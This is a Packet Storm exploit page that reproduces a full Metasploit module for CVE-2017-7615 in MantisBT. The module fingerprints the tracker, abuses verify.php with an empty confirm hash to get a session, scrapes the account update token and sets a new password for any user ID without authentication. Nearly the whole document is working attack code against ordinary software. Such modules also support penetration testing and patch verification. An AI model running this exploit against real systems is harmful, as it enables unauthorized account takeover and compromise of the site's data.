what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MantisBT Password Reset

MantisBT Password Reset
Posted Aug 31, 2024
Authored by John Page, Julien Voisin | Site metasploit.com

MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.

tags | exploit
advisories | CVE-2017-7615
SHA-256 | b841a48022b6fff1808993ef21d4fbe8a00fa654f48327de4ebf89027be87ffc

MantisBT Password Reset

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'MantisBT password reset',
'Description' => %q{
MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.
},
'License' => MSF_LICENSE,
'Author' => [
'John (hyp3rlinx) Page', # initial discovery
'Julien (jvoisin) Voisin' # metasploit module
],
'References' => [
['CVE', '2017-7615'],
['EDB', '41890'],
['URL', 'https://mantisbt.org/bugs/view.php?id=22690'],
['URL', 'https://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt']
],
'Platform' => ['win', 'linux'],
'DisclosureDate' => '2017-04-16'
)
)

register_options(
[
OptString.new('USERID', [ true, 'User id to reset', 1]),
OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']),
OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
]
)
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/login_page.php'),
'method' => 'GET'
})

if res && res.body && res.body.include?('Powered by <a href="https://www.mantisbt.org" title="bug tracking software">MantisBT')
vprint_status('MantisBT detected')
return Exploit::CheckCode::Detected
else
vprint_status('Not a MantisBT Instance!')
return Exploit::CheckCode::Safe
end
rescue Rex::ConnectionRefused
print_error('Connection refused by server.')
return Exploit::CheckCode::Safe
end

def run
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/verify.php'),
'method' => 'GET',
'vars_get' => {
'id' => datastore['USERID'],
'confirm_hash' => ''
}
})

if !res || !res.body
fail_with(Failure::UnexpectedReply, 'Error in server response. Ensure the server IP is correct.')
end

cookie = res.get_cookies

if cookie == '' || !(res.body.include? 'Your account information has been verified.')
fail_with(Failure::NoAccess, 'Authentication failed')
end

if datastore['PASSWORD'].blank?
password = Rex::Text.rand_text_alpha(8)
else
password = datastore['PASSWORD']
end

if res.body =~ /<input type="hidden" name="account_update_token" value="([a-zA-Z0-9_-]+)"/
token = ::Regexp.last_match(1)
else
fail_with(Failure::UnexpectedReply, 'Could not retrieve account_update_token')
end

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/account_update.php'),
'method' => 'POST',
'vars_post' => {
'verify_user_id' => datastore['USERID'],
'account_update_token' => ::Regexp.last_match(1),
'realname' => Rex::Text.rand_text_alpha(rand(8..12)),
'password' => password,
'password_confirm' => password
},
'cookie' => cookie
})

if res && res.body && res.body.include?('Password successfully updated')
print_good("Password successfully changed to '#{password}'.")
else
fail_with(Failure::UnexpectedReply, 'Something went wrong, the password was not changed.')
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close